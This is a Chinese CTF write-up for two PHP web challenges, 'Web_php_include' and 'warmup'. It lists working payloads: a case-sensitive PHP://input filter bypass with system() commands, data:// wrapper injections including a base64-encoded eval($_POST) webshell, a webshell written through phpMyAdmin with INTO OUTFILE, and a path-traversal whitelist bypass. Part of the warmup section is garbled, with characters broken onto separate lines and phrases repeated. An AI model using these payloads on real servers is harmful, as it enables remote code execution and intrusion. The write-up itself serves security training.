Web_php_include
考点:考审计php代码的基本能力,以及绕开的能力
知识点:
1.两个函数
①str_replace(“php://”, “”, $page);替换函数
②strstr($page, “php://”)查找函数,即输出在一个字符串里面第一次出现的位置(且对大小写敏感)即绕开了
php://input功能应用 (接受请求的get或者post数据)
2.data协议的用法
3.数据库写马的方法
题目:
方法一:
利用strstr()的敏感大小进行绕过
代码
//get中
http://220.249.52.133:32881/?page=PHP://input
//post请求中## 标题
<?php system("ls"); ?>
<?php system("cat 路径的文件名"); ?>//即利用cat命令获取
方法二:
data://伪协议执行命令利用进行绕过
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
如
<?php system("dir")?> base64编码后使用进行
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b (注意编码后的+号要URL编码)
方法三:
data://伪协议传木马
<?php eval($_POST[xiaohua]); ?> base64加密后拼接
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
//菜刀连接即可
方法四:
数据库写入马,利用数据库进行
//御剑扫描获得phpmyadmin root 密码空 进入
//数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE "secure_file_priv"
linux默认tmp是可写目录 试试写入一句话马 菜刀连接
SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'
思路:①绕过代码审计中的替换即读取数据的命令
②在post中利用php的命令执行语句进行爆出flag
warmup
考点:
- 考php代码审计与构造的能力
- 考php路径访问的能力
- 参数与url中常见的符号理解
知识点:
1.#include文件包含的定义的漏洞使用类
作用:包含并运行指定的文件
运行方法:先按照参数的路径进行寻找,没有的话在依次删除路径
file的参数这个是#include里面的定义为文件=路径;(且文件打开还可以考虑用php://input)
2.函数
①in_array($page, $whitelist)即在whitelist中是否存在page这个参数
②mb_substr()函数的理解
mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//即参数从0开始返回mb_strpos这么多的字节
③mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置(即返回的位置,strstr返回的是值且是从当时开始的值)
<?php
$str = 'http://www.feiniaomy.com';
echo mb_strpos($str,'niao');
?>
//输出结果:14;
④参数的理解
如?file=source.php?(payload)//即参数$page实际为source.php?
做题:
审计代码后发现只有当
p
a
g
e
的
参
数
构
造
存
在
于
page的参数构造存在于
page的参数构造存在于whitelist数组中存在时,才返回 true,否则都是flase
因此可以利用第二个判断机制构造
p
a
g
e
=
s
o
u
r
c
e
.
p
h
p
?
或
者
page=source.php?或者
page=source.php?或者page=hint.php
然后又利用#include的实际执行方法进行构造路径
为?file=source.php?/…/…/…/…/…/…/ffffllllaaaagggg
成功获取到flag